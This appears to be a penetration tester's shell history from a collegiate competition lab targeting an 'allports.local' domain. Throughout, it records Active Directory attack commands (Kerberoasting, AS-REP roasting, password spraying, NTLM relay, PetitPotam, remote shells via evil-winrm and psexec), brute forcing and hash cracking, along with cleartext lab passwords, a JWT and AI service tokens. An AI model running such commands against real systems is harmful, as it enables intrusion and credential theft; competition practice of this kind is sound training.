_raw: : 1768056881:0;sudo apt install python3-pynvim


_raw: : 1768056871:0;nxc ldap apt-dc-01.allports.local -u pentester -p ')u1h55hm-h(M(7nV' --kerberoasting kerb.roast


_raw:
: 1768056866:0;curl -X https://10.0.1.11:8045/docs#/default/tabular_search_tabular_search_post \\
  -H "Content-Type: application/json" \\
  -d '{\
  "limit": 1000,\
  "table": "full_voyage_schedule.csv"\
}'


_raw: : 1768056855:0;ldapsearch -x -H ldap://10.0.1.6 -b "DC=allports,DC=local" -s sub "(objectClass=*)" | tee ldap_full_dump.txt


_raw: : 1768056853:0;LV_BRANCH='release-1.4/neovim-0.9' bash <(curl -s https://raw.githubusercontent.com/LunarVim/LunarVim/release-1.4/neovim-0.9/utils/installer/install.sh)


_raw: : 1768056849:0;john --wordlist=/usr/share/wordlists/rockyou.txt hash_svc_stabilize


_raw: : 1768056829:0;nxc smb 10.0.1.6 -u "rdavis" -p captain --rid-brute


_raw: : 1768056825:0;scp root@10.0.1.99:/opt/cptc11-apps-room-console.tar.gz ./roomconsole.tar.gz


_raw:
: 1768056822:0;curl -X https://10.0.1.11:8045 \\
  -H "Content-Type: application/json" \\
  -d '{\
  "limit": 1000,\
  "table": "full_voyage_schedule.csv"\
}'


_raw: : 1768056819:0;scp root@10.0.1.99/opt/cptc11-apps-room-console.tar.gz ./roomconsole.tar.gz


_raw: : 1768056815:0;nxc smb windows_hosts -u pentester -p ')u1h55hm-h(M(7nV' --shares


_raw: : 1768056810:0;nxc smb windows_hosts -u pentester -p ')u1h55hm-h(M(7nV'


_raw: : 1768056805:0;hydra -L user.txt -P pass.txt -s 443 -V -S -f -t 4 admin.rooms.allports.tours http-get /admin.html


_raw: : 1768056803:0;sudo env bhe_recreate_default_admin=true bloodhound


_raw: : 1768056792:0;ldapdomaindump -u 'allports.local\' -p '' 10.0.1.6 -o ldap_dump/


_raw: : 1768056792:0;hydra -L user.txt -P pass.txt -s 443 -V -f -t 4 admin.rooms.allports.tours http-get /admin.html


_raw: : 1768056785:0;nxc smb 10.0.1.21 -u guest -p "" -M powershell_history


_raw: : 1768056775:0;git clone REDACTED_EMAIL:nationalcptc-teamtools/cptc11-compliance-pod3.git


_raw: : 1768056773:0;ldapsearch -x -H ldap://10.0.1.6 -b "DC=allports,DC=local" "(objectClass=user)" sAMAccountName


_raw: : 1768056772:0;tar xvf ligolo-ng_proxy_0.8.2_linux_amd64.tar.gz


_raw: : 1768056765:0;hydra -L user.txt -P pass.txt -s 8081 -f  -V -t 4 penny.allports.local http-get /


_raw: : 1768056763:0;tar xvf ligolo-ng_agent_0.8.2_linux_amd64.tar.gz


_raw: : 1768056759:0;./kerbrute_linux_amd64 userenum -d allports.local --dc 10.0.1.6 custom_users.txt


_raw: : 1768056758:0;sudo vi /etc/bhapi/bhapi.json


_raw:
: 1768056756:0;echo "# cptc11-compliance-pod1" >> README.md\
git init\
git add README.md\
git commit -m "first commit"\
git branch -M main\
git remote add origin https://github.com/nationalcptc-teamtools/cptc11-compliance-pod1.git\
git push -u origin main


_raw: : 1768056754:0;hydra -L user.txt -P pass.txt -s 8081 -f -t 4 penny.allports.local http-get /


_raw: : 1768056753:0;git config --global user.email "REDACTED_EMAIL"


_raw:
: 1768056752:0;curl -X https://10.0.1.11:8045/tabular_search \\
  -H "Content-Type: application/json" \\
  -d '{\
  "limit": 1000,\
  "table": "full_voyage_schedule.csv"\
}'


_raw:
: 1768056749:0;cat > custom_users.txt << 'EOF'\
administrator\
admin\
guest\
allports\
captain\
deckhand\
sailor\
navigation\
ballast\
crew\
engineer\
officer\
manager\
service\
backup\
sql\
web\
api\
dev\
test\
support\
helpdesk\
EOF


_raw: : 1768056729:0;GetUserSPNs.py -dc-ip 10.0.1.6 allports.local/pentester -request


_raw:
: 1768056725:0;echo "# cptc11-compliance-pod1" >> README.md\
git init\
git add README.md\
git commit -m "first commit"\
git branch -M main\
git remote add origin https://github.com/nationalcptc-teamtools/cptc11-compliance-pod1.git\
git push -u origin main


_raw: : 1768067375:0;unzip 20260110095120_allports-local_rusthound-ce.zip -d bh-dump


_raw: : 1768056676:0;rusthound-ce -d allports.local -f apt-dc-01.allports.local -i 10.0.1.6 -u pentester -p ')u1h55hm-h(M(7nV' -n 10.0.1.6 -z -c All


_raw:
: 1768056660:0;echo "# cptc11-compliance-pod1" >> README.md\
git init\
git add README.md\
git commit -m "first commit"\
git branch -M main\
git remote add origin https://github.com/nationalcptc-teamtools/cptc11-compliance-pod1.git\
git push -u origin main


_raw: : 1768056656:0;./kerbrute_linux_amd64 userenum -d allports.local --dc 10.0.1.6 /usr/share/seclists/Usernames/Names/names.txt


_raw: : 1768056654:0;git config --global user.name "CLASS-IC"


_raw: : 1768056652:0;nxc smb apt-dc-01.allports.local -u pentester -p ')u1h55hm-h(M(7nV'


_raw: : 1768056643:0;chmod +x kerbrute_linux_amd64


_raw: : 1768056639:0;nxc smb 10.0.1.6 10.0.1.20 10.0.1.21 -u new_big_APT_valid_username_list.txt -p 'Sails@way' --continue-on-success > account_enumeration/Sailsaway_password_access.txt


_raw: : 1768056622:0;sudo nano /etc/resolv.conf


_raw: : 1768056621:0;./kerbrute userenum --dc 10.0.1.6 -d 'allports.local' user


_raw:
: 1768056620:0;echo "# cptc11-compliance-pod1" >> README.md\
git init\
git add README.md\
git commit -m "first commit"\
git branch -M main\
git remote add origin https://github.com/nationalcptc-teamtools/cptc11-compliance-pod1.git\
git push -u origin main


_raw: : 1768056613:0;/usr/share/doc/python3-impacket/examples/GetNPUsers.py allports.local/administrator -dc-ip 10.0.1.6 -no-pass


_raw: : 1768056586:0;impacket-ntlmrelayx -tf targets.txt --remove-mic -smb2support


_raw: : 1768056584:0;sudo systemctl restart neo4j


_raw: : 1768056573:0;GetNPUsers.py allports.local/pentester:')u1h55hm-h(M(7nV' -dc-ip 10.0.1.6 -request


_raw: : 1768056566:0;GetNPUsers.py allports.local/pentester:')u1h55hm-h(M(7nV' -dc-ip 10.0.1.6 -request -format hashcat


_raw: : 1768056560:0;cp config.yaml.example config.yaml


_raw: : 1768056555:0;GetNPUsers.py allports.local/pentester:')u1h55hm-h(M(7nV' -dc-ip 10.0.1.6 --request --format hashcat


_raw: : 1768056549:0;ldapsearch -x -H ldaps://allports.tours -b "DC=allports,DC=local"


_raw: : 1768056542:0;ldapsearch -x -H ldaps://allports.local -b "DC=allports,DC=local"


_raw: : 1768056537:0;impacket-ntlmrelayx -t ldaps://apt-dc-01.allports.local --remove-mic


_raw: : 1768056515:0;curl -LsSf https://astral.sh/uv/install.sh | sh


_raw: : 1768056497:0;/usr/share/doc/python3-impacket/examples/GetNPUsers.py allports.local/ -usersfile users.txt -dc-ip 10.0.1.6 -format hashcat -outputfile asrep_hashes.txt


_raw: : 1768056488:0;./kerbrute passwordspray  --dc 10.0.1.6 -d allports.local --safe -o spray_results.txt valid_users.txt 'Sails@way!'


_raw: : 1768056479:0;impacket-ntlmrelayx -t ldaps://DC01.allports.local --remove-mic


_raw:
: 1768056475:0;echo "# cptc11-compliance-pod1" >> README.md\
git init\
git add README.md\
git commit -m "first commit"\
git branch -M main\
git remote add origin https://github.com/nationalcptc-teamtools/cptc11-compliance-pod1.git\
git push -u origin main


_raw: : 1768056460:0;sudo apt install docker.io


_raw: : 1768056455:0;ldapsearch -x -H ldap://allports.local -b "DC=allports,DC=local" -s base namingcontexts


_raw:
: 1768056450:0;cat > users.txt << 'EOF'\
administrator\
admin\
guest\
krbtgt\
APT-DC-01$\
Deckhand-01$\
Deckhand-02$\
john.doe\
jane.smith\
admin.user\
service.account\
backup\
sql_service\
svc_backup\
svc_sql\
EOF


_raw: : 1768056442:0;sudo systemctl purge neo4j


_raw: : 1768056401:0;lookupsid.py DECKHAND-01/pentester:')u1h55hm-h(M(7nV' -target-ip 10.0.1.6


_raw: : 1768056398:0;/usr/share/doc/python3-impacket/examples/lookupsid.py anonymous@10.0.1.6 -no-pass


_raw: : 1768056386:0;dig axfr allports.local @allports.local


_raw: : 1768056370:0;sudo apt install python3-impacket -y


_raw: : 1768056366:0;lookupsid.py DECKHAND-01/pentester -target-ip 10.0.1.6


_raw: : 1768056342:0;git clone https://github.com/ScribblerCoder/Jellypwn.git


_raw: : 1768056328:0;ssh-keygen -t ed25519 -C "REDACTED_EMAIL"


_raw: : 1768056304:0;lookupsid.py anonymous@10.0.1.6 -no-pass


_raw:
ip a
impacket-wmiexec allports.local/svc_stabilize:'1gyrpscope'
impacket-wmiexec
impacket-wmiexec allports.local/svc_stabilize:'1gyrpscope'@10.0.1.6
impacket-wmiexec allports.local/svc_stabilize:'1gyroscope'@10.0.1.6
impacket-psexec allports.local/svc_stabilize:'1gyroscope'@10.0.1.6
impacket-smbexec allports.local/svc_stabilize:'1gyroscope'@10.0.1.6
evil-winrm -i 10.0.1.6 -u svc_stabilize -p 1gyroscope
evil-winrm -i 10.0.1.21 -u svc_stabilize -p 1gyroscope
evil-winrm -i 10.0.1.20 -u svc_stabilize -p 1gyroscope
cd
cat password.txt
ping 10.0.1.6


_raw: : 1768056275:0;ldapsearch -x -H ldap://allports.local -b "DC=allports,DC=local" "(objectClass=user)" sAMAccountName


_raw: : 1768056232:0;nxc smb 10.0.1.6 -u svc_stabilize -p 1gyroscope --rid-brute 10000


_raw:
: 1768056227:0;curl 'https://admin.rooms.allports.tours/api/diagnostics/files/list?path=%2Fopt%2Fhost%2Fopt%2Fcptc11-apps-room-console%2F' \\
  -H 'User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:140.0) Gecko/20100101 Firefox/140.0' \\
  -H 'Accept: */*' \\
  -H 'Accept-Language: en-US,en;q=0.5' \\
  -H 'Accept-Encoding: gzip, deflate, br, zstd' \\
  -H 'Referer: https://admin.rooms.allports.tours/diagnostics.html' \\
  -H 'Authorization: Basic Y2FwdGFpbjpJYW1UaGVDYXB0YWlu' \\
  -H 'Connection: keep-alive' \\
  -H 'Sec-Fetch-Dest: empty' \\
  -H 'Sec-Fetch-Mode: cors' \\
  -H 'Sec-Fetch-Site: same-origin' \\
  -H 'Priority: u=0' \\
  -H 'TE: trailers' -k


_raw:
: 1768056224:0;curl 'https://admin.rooms.allports.tours/api/diagnostics/files/list?path=%2Fopt%2Fhost%2Fopt%2Fcptc11-apps-room-console%2F' \\
  -H 'User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:140.0) Gecko/20100101 Firefox/140.0' \\
  -H 'Accept: */*' \\
  -H 'Accept-Language: en-US,en;q=0.5' \\
  -H 'Accept-Encoding: gzip, deflate, br, zstd' \\
  -H 'Referer: https://admin.rooms.allports.tours/diagnostics.html' \\
  -H 'Authorization: Basic Y2FwdGFpbjpJYW1UaGVDYXB0YWlu' \\
  -H 'Connection: keep-alive' \\
  -H 'Sec-Fetch-Dest: empty' \\
  -H 'Sec-Fetch-Mode: cors' \\
  -H 'Sec-Fetch-Site: same-origin' \\
  -H 'Priority: u=0' \\
  -H 'TE: trailers'


_raw: : 1768056212:0;hashcat -m 3200 hashes.txt /usr/share/wordlists/rockyou.txt


_raw: : 1768056206:0;ldapsearch -x -H ldap://allports.local -b "DC=allports,DC=local"


_raw: : 1768056204:0;./kerbrute userenum --dc 10.0.1.6 -d 'allports.local' statistically-likely-usernames/all_users.txt > kerbrute_scan


_raw: : 1768056202:0;ldapsearch -x -H ldap://allports.local -b "DC=allports,DC=tours"


_raw:
sudo responder -I eth0 --analyze --lm --disable-ss
sudo responder -I eth0 --analyze --lm --disable-ess
nxc smb 10.0.1.6 -u svc_stabilize -p 1gyroscope -L


_raw: : 1768056196:0;ldapsearch -x -H ldap://allports.tours -b "DC=allports,DC=tours"


_raw: : 1768056182:0;./kerbrute userenum --dc 10.0.1.6 -d 'allports.local' statistically-likely-usernames/all_users.txt


_raw: : 1768056180:0;git clone https://github.com/PortSwigger/mcp-server.git


_raw: : 1768056179:0;./kerbrute userenum --dc 10.0.1.6 -d 'allports.local' statistically-likely-usernames/all_users.txt -h


_raw: : 1768056154:0;ldapsearch -x -H ldap://10.0.1.6 -b "DC=allports,DC=tours"


_raw: : 1768056153:0;hashcat -m 3200 hashes.txt /usr/share/wordlists/rockyou.txt


_raw: : 1768056140:0;ldapsearch -x -H 10.0.1.6 -b "DC=allports,DC=tours"


_raw:
: 1768056136:0;sudo apt-get update\
sudo apt-get install sublime-text


_raw: : 1768056122:0;sudo apt install sublime-text


_raw: : 1768056121:0;echo -e 'Types: deb\nURIs: https://download.sublimetext.com/\nSuites: apt/stable/\nSigned-By: /etc/apt/keyrings/sublimehq-pub.asc' | sudo tee /etc/apt/sources.list.d/sublime-text.sources


_raw: : 1768056113:0;wget -qO - https://download.sublimetext.com/sublimehq-pub.gpg | sudo tee /etc/apt/keyrings/sublimehq-pub.asc > /dev/null


_raw: : 1768056110:0;ldapsearch -x -h 10.0.1.6 -b "DC=allports,DC=tours"


_raw: : 1768056091:0;hydra -L user.txt -P pass.txt -s 8081 -f -t 4 penny.allports.local http-get /


_raw: : 1768056090:0;sudo apt install sublime-text


_raw: : 1768056090:0;curl -fsSL https://claude.ai/install.sh | bash


_raw: : 1768056077:0;ldapsearch -X -H ldap://10.0.1.6 -b "DC=allports,DC=local" -s base


_raw:
: 1768056051:0;sudo apt-get update\
sudo apt-get install sublime-text


_raw:
: 1768056048:0;rpcclient -U "" -N 10.0.1.6 << EOF\
srvinfo\
enumdomains


_raw: : 1768056047:0;curl -fsSL https://claude.ai/install.sh | bash


_raw:
ssh root@10.0.1.13
ip a
nc -lvnp 80
hash-id
hashid
sudo p /usr/share/wordlists/rockyou.txt.gz
sudo gunzip /usr/share/wordlists/rockyou.txt.gz
hashcat -m 0 5b6082b3954d91adb870c7afd21cbf9b /usr/share/wordlists/rockyou.txt
nslookup allports.tours
nslookup chat.allports.tours
~/go/bin/kerbrute passwordspray -d allports.local --dc 10.0.1.6 ./statistically-likely-usernames/jsmith.txt 'Sails@way!'
cd kerbrute
~/go/bin/kerbrute passwordspray -d allports.local --dc 10.0.1.6 ./statistically-likely-usernames/jsmith.txt 'Sails@way!'
~/go/bin/kerbrute passwordspray -d allports.local --dc 10.0.1.6 ./statistically-likely-usernames/jsmith.txt 'Sails@way!2023'
~/go/bin/kerbrute passwordspray -d allports.local --dc 10.0.1.6 ./statistically-likely-usernames/jsmith.txt 'Sails@way!2024'
~/go/bin/kerbrute passwordspray -d allports.local --dc 10.0.1.6 ./statistically-likely-usernames/jsmith.txt 'Sails@way!2025'
~/go/bin/kerbrute userenum -d allports.local --dc 10.0.1.6 ./statistically-likely-usernames/us-census-base-lists/j.smith-x98800.txt
~/go/bin/kerbrute userenum -d allports.local --dc 10.0.1.6 ./statistically-likely-usernames/us-census-base-lists/j.smith-x98800.txt -v
~/go/bin/kerbrute passwordspray -d allports.local --dc 10.0.1.6 ./statistically-likely-usernames/jsmith.txt 'Sails@way!'
~/go/bin/kerbrute userenum -d allports.local --dc 10.0.1.6 ./statistically-likely-usernames/jsmith.txt
l
ls
~/go/bin/kerbrute userenum -d allports.local --dc 10.0.1.6 ./statistically-likely-usernames/jsmith.txt
~/go/bin/kerbrute userenum -d allports.local --dc 10.0.1.6 ./statistically-likely-usernames/jsmith.txt > valid.txt
~/go/bin/kerbrute passwordspray -d allports.local --dc 10.0.1.6 ./valid.txt 'Sails@way!' -v
~/go/bin/kerbrute passwordspray -d allports.local --dc 10.0.1.6 ./statistically-likely-usernames/us-census-base-lists/j.smith-x98800.txt 'Sails@way!' -v | grep -v "does not exist"
~/go/bin/kerbrute passwordspray -d allports.local --dc 10.0.1.6 ./statistically-likely-usernames/jjsmith.txt 'Sails@way!' -v | grep -v "does not exist"
~/go/bin/kerbrute passwordspray -d allports.local --dc 10.0.1.6 ./statistically-likely-usernames/jjs.txt 'Sails@way!' -v | grep -v "does not exist"
ls
rm valid.txt
find . -type f -exec cat{} +
find . -type f -exec cat {} +
ls
find . -type f -exec cat {} + > users.txt
ls
less users.txt
rm users.txt
find . -type f -exec file
find . -type f -exec file {}
find . -type f
find .*.txt -type f
find . -name "*.txt" -type f
find . -name "*.txt" -type f -exec cat {} + > userspray.txt
less userspray.txt
wc -l userspray.txt
cat userspray.txt | wc -l
cat userspray.txt | uniq | wc -l
cat userspray.txt | uniq -u | wc -l
~/go/bin/kerbrute passwordspray -d allports.local --dc 10.0.1.6 ./userspray.txt 'Sails@way!' -v | grep -v "does not exist"
clear
nslookup chat.allports.tours
ip a
nxc smb 10.0.1.0/24
nxc ssh 10.0.1.0/24
nxc winrm 10.0.1.0/24
sudo nmap -p 80 10.0.1.0/24
clear
sudo nmap -p 80 10.0.1.0/24 -Pn
sudo nmap -p 80 10.0.1.0/24 -Pn -oG
sudo nmap -p 80 10.0.1.0/24 -Pn -oG g
cat g
grep open g
cd ..
mv ../../linpeas.sh ./
ip a
python3 -m http.server 80


_raw:
pwsh
clear
nxc smb fping.out
xfreerdp
sudo apt install xfreerdp3
xfreerdp
sudo apt install xfreerdp3
sudo apt install xfreerdp
sudo apt updat
sudo vim /etc/hosts
sudo apt install xfreerdp3
sudo apt update
sudo apt install xfreerdp3
xfreerdp
sudo apt install xfreerdp3
sudo apt install xfreerdp3-x11
xfreerdp
sudo apt install freerdp3-x11
nxc smb fping.out
xfreerdp3 /v:10.0.1.21 /u:guest /p:any
xfreerdp3 /v:10.0.1.21 /u:guest
nxc smb fping.out
vim smb.out
xfreerdp3 /v:10.0.1.20 /u:guest
cat smb.out
nxc smb 10.0.1.6 -u '' -p ''
nxc smb 10.0.1.6 -u '' -p ''  --shares
nxc smb 10.0.1.20 -u '' -p ''
nxc smb 10.0.1.21 -u '' -p ''
nxc winrm 10.0.1.21 -u '' -p ''
nxc winrm 10.0.1.20 -u '' -p ''
nxc winrm -h
nxc winrm 10.0.1.20 -u 'guest' -p ''
cat smb.out
sudo apt install seclists
ffuf
ffuf -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories-lowercase.txt -u "http://10.0.1.13:8080/?route=FUZZ"
ffuf -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories-lowercase.txt -u "http://10.0.1.13:8080/?route=FUZZ" -fs 3500-3530
ffuf -w /usr/share/seclists/Discovery/Web-Content/raft-large-files-lowercase.txt -u "http://10.0.1.13:8080/?route=FUZZ" -fs 3500-3530
ffuf -w /usr/share/seclists/Discovery/Web-Content/raft-large-files-lowercase.txt -u "http://10.0.1.13:8080/?route=FUZZ" -fs 3530-3535
ffuf -w /usr/share/seclists/Discovery/Web-Content/raft-large-files-lowercase.txt -u "http://10.0.1.13:8080/?route=FUZZ" -fl 109
ffuf -w /usr/share/seclists/Discovery/Web-Content/raft-large-words-lowercase.txt -u "http://10.0.1.13:8080/?route=FUZZ" -fl 109
curl -X 'POST' \\
  'http://gps.allports.tours:8080/api/navigation.php?action=speed' \\
  -H 'accept: application/json' \\
  -H 'Content-Type: application/json' \\
  -d '{\
  "Authorization": "Bearer eyJhbGciOiJIUzI1NiIsInR5cCIgOiAiSldUIiwia2lkIiA6ICIxMzEyNDU5NC0zMjJkLTRjNTItYjIzMC0zMGQ0N2NhNmNjZjcifQ.eyJleHAiOjE3NjgwMDcyNjgsImlhdCI6MTc2Nzk3MTI2OCwianRpIjoiMzY0NmM4YTAtZjNhOC00MjExLWI1NzYtNGYyNzhmY2FkZjk1IiwiaXNzIjoiaHR0cDovLzEwLjAuMS4xMzo4MTgwL3JlYWxtcy9tYXN0ZXIiLCJzdWIiOiJkODc3NTgwMC00MTdmLTQyMGQtYTM3Ni1lYmZiNTU5YmU0OWMiLCJ0eXAiOiJTZXJpYWxpemVkLUlEIiwic2Vzc2lvbl9zdGF0ZSI6IjNmYmU0Y2YzLWM1NzctNDc3OS05YzE3LWVmOTQ2Yzk0MTk5ZSIsInNpZCI6IjNmYmU0Y2YzLWM1NzctNDc3OS05YzE3LWVmOTQ2Yzk0MTk5ZSIsInN0YXRlX2NoZWNrZXIiOiJ3NTY0MURhWEhGblpOckRHcTFKNFdmT2ZDemZJVWRDLTlhRjBoZTBhVElRIn0.DsOu0awD7Sd7Gv_OrVjdjIIkPOiVjA0uE8_QIi-NgcE"\
  "speed_knots": 20\
}'
mysql -h 10.0.10.13 -u boatgps
mysql -h 10.0.1.13 -u boatgps
mysql -h 10.0.1.13 -u boatgps --skip-ssl-verify-server-cert
mysql -h 10.0.1.13 -u boatgps --skip-ssl-verify-server-cert -p
mysql -h 10.0.1.99 -u boatgps --skip-ssl-verify-server-cert -p
mysql -h 10.0.1.99 -u root --skip-ssl-verify-server-cert -p
ssh root@10.0.1.30
less nmap_init.txt


_raw:
clear
atuin
clear
mkdir APT
cd PA
cd APT
mkdir scans
cd scans
fping -aqg 10.0.1.0/24
vim fping.out
sudo nmap -sV -sC -iL fping.out -oN nmap_init.txt
less
less nmap_init.txt
kerbrute
go
sudo apt install golan-go
sudo apt install golang-go
go get github.com/ropnop/kerbrute
go install github.com/ropnop/kerbrute
go install github.com/ropnop/kerbrute@latest
nxc smb 10.0.1.21 -u '' -p '' --local-auth
clear
kerbrute
~/go/bin/kerbrute
mkdir kerbrute
https://github.com/insidetrust/statistically-likely-usernames.git
cd kerbrute
git clone https://github.com/insidetrust/statistically-likely-usernames.git
cat ../smb.out
~/go/bin/kerbrute -d APT-DC-01
~/go/bin/kerbrute userenum -d APT-DC-01 --dc 10.0.1.6
~/go/bin/kerbrute userenum -d APT-DC-01 --dc 10.0.1.6 ./statistically-likely-usernames/jsmith.txt
~/go/bin/kerbrute userenum -d 10.0.1.6 --dc 10.0.1.6 ./statistically-likely-usernames/jsmith.txt
~/go/bin/kerbrute userenum -d allports.local --dc 10.0.1.6 ./statistically-likely-usernames/jsmith.txt
nxc smb 10.0.1.21 -u 'REDACTED_EMAIL' -p ''
nxc smb 10.0.1.6 -u 'REDACTED_EMAIL' -p ''
nxc smb 10.0.1.6 -u 'rgray' -p ''
~/go/bin/kerbrute userenum -d allports.local --dc 10.0.1.6 ./statistically-likely-usernames/jsmith.txtclear
clear
~/go/bin/kerbrute userenum -d allports.local --dc 10.0.1.6 ./statistically-likely-usernames/jsmith.txt
nxc smb 10.0.1.6 -u 'fdsafdsa' -p ''
nxc smb 10.0.1.21 -u ' -p ''
nxc smb 10.0.1.21 'admin' -p '' --local-auth
nxc smb 10.0.1.21 -u 'admin' -p '' --local-auth
nxc smb 10.0.1.21 -u 'admin' -p 'admin' --local-auth
nxc smb 10.0.1.21 -u 'Administrator' -p '' --local-auth
nxc smb 10.0.1.21 -u 'Administrator' -p 'admin' --local-auth
nxc smb 10.0.1.21 -u 'Administrator' -p 'administrator' --local-auth
nxc smb 10.0.1.21 -u 'Administrator' -p '@nchor2024 ' --local-auth
nxc smb 10.0.1.21 -u 'Administrator' -p '@nchor2024' --local-auth
~/go/bin/kerbrute
~/go/bin/kerbrute passwordspray -d allports.local --dc 10.0.1.6 ./statistically-likely-usernames/jsmith.txt '@nchor2024'
~/go/bin/kerbrute passwordspray -d allports.local --dc 10.0.1.6 ./statistically-likely-usernames/jsmith.txt '@nchor2024' -v
~/go/bin/kerbrute passwordspray -d allports.local --dc 10.0.1.6 ./statistically-likely-usernames/jsmith.txt '@nchor2024' -v | grep -v 'User does not exist'
~/go/bin/kerbrute passwordspray -d allports.local --dc 10.0.1.6 ./statistically-likely-usernames/john.smith.txt '@nchor2024' -v | grep -v 'User does not exist'
~/go/bin/kerbrute passwordspray -d allports.local --dc 10.0.1.6 ./statistically-likely-usernames/jsmith.txt '@nchor2025'
~/go/bin/kerbrute passwordspray -d allports.local --dc 10.0.1.6 ./statistically-likely-usernames/jsmith.txt '@nchor2026'
cd ..
ls
nxc smb 10.0.1.6 -i
nxc smb 10.0.1.6 -u '' -p '' --rid-brute
nxc smb 10.0.1.6 -u '' -p '' --asrep
nxc ldap 10.0.1.6 -u '' -p '' --asreproast
nxc ldap 10.0.1.6 -u '' -p '' --asreproast out.txt
nxc ldap 10.0.1.6 -u 'bingus' -p '' --asreproast out.txt
cat smb.out
less nmap_init.txt
cat smb.out
nxc smb 10.0.1.6 -u '' -p '' -M
nxc smb 10.0.1.6 -u '' -p '' --list-modules
sudo apt upgrade netexec
nxc smb 10.0.1.6 -u '' -p '' -M ntlm_reflection
ip a
sudo responder -I eth0
nxc smb 10.0.1.6 -u '' -p '' -M smb_ghsot
nxc smb 10.0.1.6 -u '' -p '' -M smb_ghost
nxc smb 10.0.1.6 -u '' -p '' -M smbghost
ffuf -h "Host: FUZZ.allports.tours" -c -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories-lowercase.txt -u "http://10.0.1.11
ffuf -h "Host: FUZZ.allports.tours" -c -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories-lowercase.txt -u "http://10.0.1.11"
ffuf -H "Host: FUZZ.allports.tours" -c -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories-lowercase.txt -u "http://10.0.1.11"
ffuf -H "Host: FUZZ.allports.tours" -c -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories-lowercase.txt -u "http://10.0.1.11" -fs 4381
ffuf -H "Host: FUZZ.allports.tours" -c -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories-lowercase.txt -u "http://10.0.1.11" -fs 4831
ffuf -H "Host: FUZZ.allports.tours" -c -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories-lowercase.txt -u "http://10.0.1.14" -fs 4831
ffuf -H "Host: FUZZ.allports.tours" -c -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories-lowercase.txt -u "http://10.0.1.14" -fc 301
gobuster dns --domain "allports.local" --resolver 10.0.1.6 --wordlist /usr/share/seclists/Discovery/Web-Content/raft-medium-directories-lowercase.txt
gobuster dns --domain "allports.local" --resolver 10.0.1.6 --wordlist /usr/share/seclists/Discovery/Web-Content/quickhits.txt
gobuster dns --domain "allports.local" --resolver 10.0.1.6 --wordlist /usr/share/seclists/Discovery/Web-Content/raft-large-words-lowercase.txt
gobuster dns --domain "allports.local" --resolver 10.0.1.6 --wordlist /usr/share/seclists/Discovery/Web-Content/trickest-robots-disallowed-wordlists/top-100
gobuster dns --domain "allports.local" --resolver 10.0.1.6 --wordlist /usr/share/seclists/Discovery/Web-Content/trickest-robots-disallowed-wordlists/top-10000.txt
gobuster dns --domain "allports.local" --resolver 10.0.1.6 --wordlist /usr/share/seclists/Discovery/Web-Content/raft-large-
gobuster dns --domain "allports.local" --resolver 10.0.1.6 --wordlist /usr/share/seclists/Discovery/Web-Content/raft-large-files-lowercase.txt
Bailey Finn make me sad and cry many tears :(\
Bailey Finn makes me sad and cry many tears


_raw: : 1768056020:0;sudo nano docker-compose.yml


_raw: : 1768056015:0;sudo apt-get install bloodhound


_raw: : 1768056012:0;unzip EddiesFriends.zip .


_raw: : 1768056004:0;sudo apt-get purge bloodhound


_raw: : 1768056001:0;python3 PetitPotam.py -u svc_stabilize -p 1gyroscope 10.0.254.204 10.0.1.21


_raw: : 1768056000:0;mv EddiesFriends.zip claudeAgents


_raw: : 1768055988:0;mv ../../Downloads/EddiesFriends.zip .


_raw: : 1768055971:0;echo 'export ANTHROPIC_AUTH_TOKEN="sk-cptc-team6-key3-55bad833-3df1-49f2-9c7a-7270ce84f015"' >> ~/.bashrc


_raw: : 1768055966:0;mv ai-engineer.md ~/.claude/agents


_raw: : 1768055966:0;mv llm-architect.md ~/.claude/agents


_raw: : 1768055966:0;mv legal-advisor.md ~/.claude/agents


_raw: : 1768055966:0;mv sre-engineer.md ~/.claude/agents


_raw: : 1768055966:0;mv incident-responder.md ~/.claude/agents


_raw: : 1768055966:0;mv windows-infra-admin.md ~/.claude/agents


_raw: : 1768055966:0;mv security-engineer.md ~/.claude/agents


_raw: : 1768055966:0;mv kubernetes-specialist.md ~/.claude/agents


_raw: : 1768055966:0;mv devops-incident-responder.md ~/.claude/agents


_raw: : 1768055966:0;mv azure-infra-engineer.md ~/.claude/agents


_raw: : 1768055966:0;mv python-pro.md ~/.claude/agents


_raw: : 1768055966:0;mv powershell-7-expert.md ~/.claude/agents


_raw: : 1768055966:0;mv search-specialist.md ~/.claude/agents


_raw:
: 1768055966:0;export ANTHROPIC_BASE_URL="https://ai.cyberrange.rit.edu"\
export ANTHROPIC_AUTH_TOKEN="sk-cptc-team4-key1-9ea715f1-acbe-40cc-a084-8ea49dfa08cf"


_raw:
: 1768055966:0;sudo usermod -aG docker pentester\
newgrp docker\


_raw: : 1768055966:0;sudo systemctl enable docker --now\


_raw: : 1768055966:0;sudo apt install -y moby-engine moby-cli\


_raw: : 1768055966:0;sudo apt install docker.io


_raw: : 1768055966:0;sudo apt-get install docker


_raw: : 1768055966:0;sudo apt-get intsall docker


_raw:
: 1768055966:0;echo 'export ANTHROPIC_BASE_URL="https://ai.cyberrange.rit.edu"' >> ~/.bashrc\
echo 'export ANTHROPIC_AUTH_TOKEN="sk-cptc-team4-key1-9ea715f1-acbe-40cc-a084-8ea49dfa08cf"' >> ~/.bashrc\
source ~/.bashrc


_raw: : 1768055966:0;rm -rf 01-core-development


_raw: : 1768055966:0;git clone https://github.com/VoltAgent/awesome-claude-code-subagents.git


_raw: : 1768055966:0;curl -fsSL https://claude.ai/install.sh | bash


_raw: : 1768055966:0;curl -sSL https://strix.ai/install | bash\


_raw: : 1768055966:0;sudo apt install -y docker.io


_raw: : 1768055966:0;sudo apt install docker.io\


_raw: : 1768055966:0;	vim /etc/apt/sources.list


_raw:
: 1768055966:0;printf "%s\n" "deb [arch=amd64] https://download.docker.com/linux/debian buster stable" |\\
sudo tee /etc/apt/sources.list.d/docker-ce.list


_raw:
: 1768055966:0;# Add Docker's official GPG key:\
sudo apt update\
sudo apt install ca-certificates curl\
sudo install -m 0755 -d /etc/apt/keyrings\
